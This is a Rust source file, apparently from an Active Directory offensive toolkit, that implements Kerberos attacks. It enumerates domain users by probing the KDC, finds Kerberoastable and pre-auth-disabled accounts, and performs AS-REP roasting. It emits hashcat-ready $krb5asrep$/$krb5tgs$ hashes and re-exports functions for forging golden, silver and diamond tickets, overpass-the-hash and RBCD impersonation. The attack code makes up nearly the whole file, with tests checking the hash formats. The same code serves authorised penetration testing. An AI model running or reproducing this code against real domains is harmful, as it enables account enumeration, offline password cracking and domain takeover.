use adhammer_core::object::uac;
use adhammer_core::snapshot::Snapshot;
use anyhow::{anyhow, bail, Result};
use picky_asn1::bit_string::BitString;
use picky_asn1::date::Date;
use picky_asn1::restricted_string::Ia5String;
use picky_asn1::wrapper::{
Asn1SequenceOf, BitStringAsn1, ExplicitContextTag0, ExplicitContextTag1, ExplicitContextTag2,
ExplicitContextTag3, ExplicitContextTag4, ExplicitContextTag5, ExplicitContextTag7,
ExplicitContextTag8, GeneralStringAsn1, IntegerAsn1, Optional,
};
use picky_krb::constants::types::{AS_REQ_MSG_TYPE, NT_PRINCIPAL, NT_SRV_INST};
use picky_krb::data_types::{KerberosTime, PrincipalName};
use picky_krb::messages::{AsRep, AsReq, KdcReq, KdcReqBody, KrbError};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
pub mod csr;
pub mod gss;
pub mod pac;
pub mod pkinit;
pub mod rc4;
pub mod shadowcred;
mod tgs;
pub mod unpac;
pub use tgs::{
asktgt, build_ap_req_gss, build_ap_req_gss_aes256, check_credential, forge_diamond_tgt,
forge_golden_tgt, forge_silver_tgt, get_service_ticket, get_tgt, get_tgt_by_hash,
golden_ccache, overpass_the_hash, rbcd_impersonate, rbcd_impersonate_by_hash, roast_spn,
silver_ccache, silver_service_ticket, CredResult, ServiceTicket, Tgt, TicketTimestamps,
};
pub const ETYPE_RC4_HMAC: u8 = 23;
pub const ETYPE_AES256: u8 = 18;
pub const ETYPE_AES128: u8 = 17;
#[derive(Clone, Debug)]
pub struct Candidate {
pub sam: String,
pub realm: String,
pub spn: Option<String>, }
pub fn candidates(snap: &Snapshot, realm: &str) -> (Vec<Candidate>, Vec<Candidate>) {
let mut kerberoast = Vec::new();
let mut asrep = Vec::new();
for o in snap.iter_class("user") {
if o.uac() & uac::ACCOUNTDISABLE != 0 {
continue;
}
let Some(sam) = o.one("sAMAccountName") else {
continue;
};
if let Some(spn) = o.all("servicePrincipalName").first() {
kerberoast.push(Candidate {
sam: sam.into(),
realm: realm.into(),
spn: Some(spn.clone()),
});
}
if o.uac() & uac::DONT_REQ_PREAUTH != 0 {
asrep.push(Candidate {
sam: sam.into(),
realm: realm.into(),
spn: None,
});
}
}
(kerberoast, asrep)
}
pub(crate) fn krb_string(s: &str) -> Result<GeneralStringAsn1> {
let ia5 = Ia5String::from_string(s.to_owned()).map_err(|_| {
anyhow!(
"Kerberos principal component {s:?} contains non-IA5 (non-ASCII) characters; \
RFC 4120 requires 7-bit ASCII for user / realm / SPN components"
)
})?;
Ok(GeneralStringAsn1::from(ia5))
}
pub(crate) fn principal(name_type: u8, parts: &[&str]) -> Result<PrincipalName> {
let strings = parts
.iter()
.map(|p| krb_string(p))
.collect::<Result<Vec<_>>>()?;
Ok(PrincipalName {
name_type: ExplicitContextTag0::from(IntegerAsn1(vec![name_type])),
name_string: ExplicitContextTag1::from(Asn1SequenceOf::from(strings)),
})
}
fn build_as_req(user: &str, realm: &str) -> Result<AsReq> {
let mut nonce = [0u8; 4];
rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut nonce);
nonce[0] &= 0x7f;
let body = KdcReqBody {
kdc_options: ExplicitContextTag0::from(BitStringAsn1::from(BitString::with_bytes(vec![
0x40, 0x81, 0x00, 0x00,
]))),
cname: Optional::from(Some(ExplicitContextTag1::from(principal(
NT_PRINCIPAL,
&[user],
)?))),
realm: ExplicitContextTag2::from(krb_string(realm)?),
sname: Optional::from(Some(ExplicitContextTag3::from(principal(
NT_SRV_INST,
&["krbtgt", realm],
)?))),
from: Optional::from(None),
till: ExplicitContextTag5::from(KerberosTime::from(
Date::new(2037, 9, 13, 2, 48, 5).unwrap(),
)),
rtime: Optional::from(None),
nonce: ExplicitContextTag7::from(IntegerAsn1(nonce.to_vec())),
etype: ExplicitContextTag8::from(Asn1SequenceOf::from(vec![
IntegerAsn1(vec![ETYPE_RC4_HMAC]),
IntegerAsn1(vec![ETYPE_AES256]),
IntegerAsn1(vec![ETYPE_AES128]),
])),
addresses: Optional::from(None),
enc_authorization_data: Optional::from(None),
additional_tickets: Optional::from(None),
};
Ok(AsReq::from(KdcReq {
pvno: ExplicitContextTag1::from(IntegerAsn1(vec![5])),
msg_type: ExplicitContextTag2::from(IntegerAsn1(vec![AS_REQ_MSG_TYPE])),
padata: Optional::from(None),
req_body: ExplicitContextTag4::from(body),
}))
}
pub(crate) fn now_kerberos_time() -> KerberosTime {
use std::time::{SystemTime, UNIX_EPOCH};
let secs = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_secs() as i64;
let (y, m, d) = civil_from_days(secs.div_euclid(86_400));
let tod = secs.rem_euclid(86_400);
KerberosTime::from(
Date::new(
y,
m,
d,
(tod / 3600) as u8,
((tod % 3600) / 60) as u8,
(tod % 60) as u8,
)
.unwrap(),
)
}
pub(crate) fn far_future_time() -> KerberosTime {
KerberosTime::from(Date::new(2037, 9, 13, 2, 48, 5).unwrap())
}
fn civil_from_days(z: i64) -> (u16, u8, u8) {
let z = z + 719_468;
let era = if z >= 0 { z } else { z - 146_096 } / 146_097;
let doe = z - era * 146_097;
let yoe = (doe - doe / 1460 + doe / 36_524 - doe / 146_096) / 365;
let y = yoe + era * 400;
let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
let mp = (5 * doy + 2) / 153;
let d = doy - (153 * mp + 2) / 5 + 1;
let m = if mp < 10 { mp + 3 } else { mp - 9 };
((y + i64::from(m <= 2)) as u16, m as u8, d as u8)
}
const KDC_EXCHANGE_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30);
pub(crate) async fn kdc_exchange(kdc: &str, request: &[u8]) -> Result<Vec<u8>> {
tokio::time::timeout(KDC_EXCHANGE_TIMEOUT, kdc_exchange_inner(kdc, request))
.await
.map_err(|_| {
anyhow::anyhow!(
"KDC exchange with {} timed out after {}s (hostile server DoS defence)",
kdc,
KDC_EXCHANGE_TIMEOUT.as_secs()
)
})?
}
async fn kdc_exchange_inner(kdc: &str, request: &[u8]) -> Result<Vec<u8>> {
let addr = if kdc.contains(':') {
kdc.to_string()
} else {
format!("{kdc}:88")
};
let mut stream = smb2_client::socks::dial(&addr, 88).await?;
let mut framed = Vec::with_capacity(request.len() + 4);
framed.extend_from_slice(&(request.len() as u32).to_be_bytes());
framed.extend_from_slice(request);
stream.write_all(&framed).await?;
let mut len = [0u8; 4];
stream.read_exact(&mut len).await?;
let n = u32::from_be_bytes(len) as usize;
if n == 0 || n > 4 * 1024 * 1024 {
bail!("implausible KDC response length {n}");
}
let mut buf = vec![0u8; n];
stream.read_exact(&mut buf).await?;
Ok(buf)
}
pub async fn kerbrute_probe(user: &str, realm: &str, kdc: &str) -> Result<KerbruteOutcome> {
let raw = picky_asn1_der::to_vec(&build_as_req(user, realm)?)
.map_err(|e| anyhow!("encode AS-REQ: {e}"))?;
let resp = kdc_exchange(kdc, &raw).await?;
if picky_asn1_der::from_bytes::<AsRep>(&resp).is_ok() {
return Ok(KerbruteOutcome::Roastable);
}
match picky_asn1_der::from_bytes::<KrbError>(&resp) {
Ok(err) => {
let code = err.0.error_code.0;
Ok(match code {
6 => KerbruteOutcome::Missing, 18 => KerbruteOutcome::Locked, 24 => KerbruteOutcome::Exists, 25 => KerbruteOutcome::Exists, other => KerbruteOutcome::Other(other),
})
}
Err(e) => Err(anyhow!(
"unexpected AS response — neither AS-REP nor KRB-ERROR ({e})"
)),
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum KerbruteOutcome {
Exists,
Roastable,
Locked,
Missing,
Other(u32),
}
impl KerbruteOutcome {
pub fn exists(&self) -> bool {
matches!(self, Self::Exists | Self::Roastable | Self::Locked)
}
}
pub fn name_asrep_krb_error(code: u32) -> Option<&'static str> {
Some(match code {
6 => "KDC_ERR_C_PRINCIPAL_UNKNOWN — the account does not exist",
14 => "KDC_ERR_ETYPE_NOSUPP — the KDC has RC4 disabled and the AS-REQ asked for it (2019+ default hardening)",
18 => "KDC_ERR_CLIENT_REVOKED — the account is disabled or locked out",
23 => "KDC_ERR_KEY_EXPIRED — the account's password has expired (reset it before roasting)",
24 => "KDC_ERR_PREAUTH_FAILED — the account exists but the supplied credential is wrong",
25 => "KDC_ERR_PREAUTH_REQUIRED — DONT_REQ_PREAUTH is NOT set on the account (this is the normal case; nothing to roast)",
_ => return None,
})
}
pub async fn asrep_roast(c: &Candidate, kdc: &str) -> Result<String> {
let raw = picky_asn1_der::to_vec(&build_as_req(&c.sam, &c.realm)?)
.map_err(|e| anyhow!("encode AS-REQ: {e}"))?;
let resp = kdc_exchange(kdc, &raw).await?;
let as_rep: AsRep = match picky_asn1_der::from_bytes(&resp) {
Ok(rep) => rep,
Err(parse_err) => {
return Err(match picky_asn1_der::from_bytes::<KrbError>(&resp) {
Ok(err) => match name_asrep_krb_error(err.0.error_code.0) {
Some(named) => anyhow!("no AS-REP: {named}"),
None => anyhow!(
"no AS-REP: KRB-ERROR with unhandled error_code {}",
err.0.error_code.0
),
},
Err(_) => anyhow!(
"no AS-REP and the response is not a KRB-ERROR either — malformed KDC reply: {parse_err}"
),
});
}
};
let enc = &as_rep.0.enc_part.0;
let etype = enc
.etype
.0
.0
.iter()
.fold(0u32, |a, &b| (a << 8) | b as u32);
match etype as u8 {
ETYPE_RC4_HMAC => Ok(format_asrep(&c.sam, &c.realm, &enc.cipher.0 .0)),
e @ (ETYPE_AES128 | ETYPE_AES256) => {
Ok(format_asrep_aes(&c.sam, &c.realm, e, &enc.cipher.0 .0))
}
other => bail!("AS-REP etype {other} not supported for roasting"),
}
}
pub fn format_asrep(user: &str, realm: &str, enc_part: &[u8]) -> String {
let cut = 16.min(enc_part.len());
format!(
"$krb5asrep$23${}@{}:{}${}",
user,
realm,
hex::encode(&enc_part[..cut]),
hex::encode(&enc_part[cut..])
)
}
pub fn format_asrep_aes(user: &str, realm: &str, etype: u8, enc_part: &[u8]) -> String {
let split = enc_part.len().saturating_sub(12);
let (edata, checksum) = enc_part.split_at(split);
format!(
"$krb5asrep${}${}@{}:{}${}",
etype,
user,
realm,
hex::encode(checksum),
hex::encode(edata)
)
}
pub fn format_tgs(user: &str, realm: &str, spn: &str, enc_part: &[u8]) -> String {
let cut = 16.min(enc_part.len());
format!(
"$krb5tgs$23$*{}${}${}*${}${}",
user,
realm,
spn,
hex::encode(&enc_part[..cut]),
hex::encode(&enc_part[cut..])
)
}
pub fn format_tgs_aes(user: &str, realm: &str, spn: &str, etype: u8, enc_part: &[u8]) -> String {
let split = enc_part.len().saturating_sub(12);
let (edata, checksum) = enc_part.split_at(split);
format!(
"$krb5tgs${}$*{}${}${}*${}${}",
etype,
user,
realm,
spn,
hex::encode(checksum),
hex::encode(edata)
)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn as_req_roundtrips() {
let req = build_as_req("myuser", "EXAMPLE.COM").expect("ASCII-only build_as_req");
let _ = req;
}
#[test]
fn non_ascii_principal_rejected_cleanly() {
let err = build_as_req("александр", "EXAMPLE.COM").unwrap_err();
let msg = format!("{err}");
assert!(msg.contains("non-IA5"), "unexpected err: {msg}");
assert!(msg.contains("RFC 4120"), "err lacks spec citation: {msg}");
let err2 = build_as_req("admin", "КОРП.ЛОКАЛ").unwrap_err();
assert!(format!("{err2}").contains("non-IA5"));
}
#[test]
fn _asreq_placeholder() {
let req = build_as_req("myuser2", "EXAMPLE.COM").expect("ASCII-only build_as_req");
let raw = picky_asn1_der::to_vec(&req).expect("encode");
let decoded: AsReq = picky_asn1_der::from_bytes(&raw).expect("decode");
assert_eq!(picky_asn1_der::to_vec(&decoded).unwrap(), raw);
}
#[test]
fn asrep_hashcat_format() {
let h = format_asrep("svc", "CORP.LOCAL", &[0xaa; 32]);
assert!(h.starts_with("$krb5asrep$23$svc@CORP.LOCAL:"));
assert!(h.contains(&"aa".repeat(16)));
}
#[test]
fn ux_d_names_key_expired_from_live_fire() {
let named = name_asrep_krb_error(23).expect("code 23 is mapped");
assert!(named.contains("KDC_ERR_KEY_EXPIRED"));
assert!(
named.contains("reset it"),
"operator hint text present: {named}"
);
}
#[test]
fn ux_d_names_all_expected_codes() {
for (code, needle) in [
(6u32, "KDC_ERR_C_PRINCIPAL_UNKNOWN"),
(14, "KDC_ERR_ETYPE_NOSUPP"),
(18, "KDC_ERR_CLIENT_REVOKED"),
(23, "KDC_ERR_KEY_EXPIRED"),
(24, "KDC_ERR_PREAUTH_FAILED"),
(25, "KDC_ERR_PREAUTH_REQUIRED"),
] {
let named = name_asrep_krb_error(code)
.unwrap_or_else(|| panic!("code {code} should be mapped"));
assert!(
named.contains(needle),
"code {code} should carry name {needle}, got: {named}"
);
}
}
#[test]
fn ux_d_returns_none_for_unmapped_code() {
assert!(name_asrep_krb_error(41).is_none());
assert!(name_asrep_krb_error(0).is_none());
assert!(name_asrep_krb_error(u32::MAX).is_none());
}
#[test]
fn a5_pkinit_error_shape_has_no_raw_hex() {
let named = name_asrep_krb_error(24).unwrap();
let msg = format!("KDC rejected PKINIT AS-REQ: {named}");
assert!(!msg.contains("e-data="), "raw e-data leaked: {msg}");
assert!(
msg.contains("KDC_ERR_PREAUTH_FAILED"),
"named code missing: {msg}"
);
}
}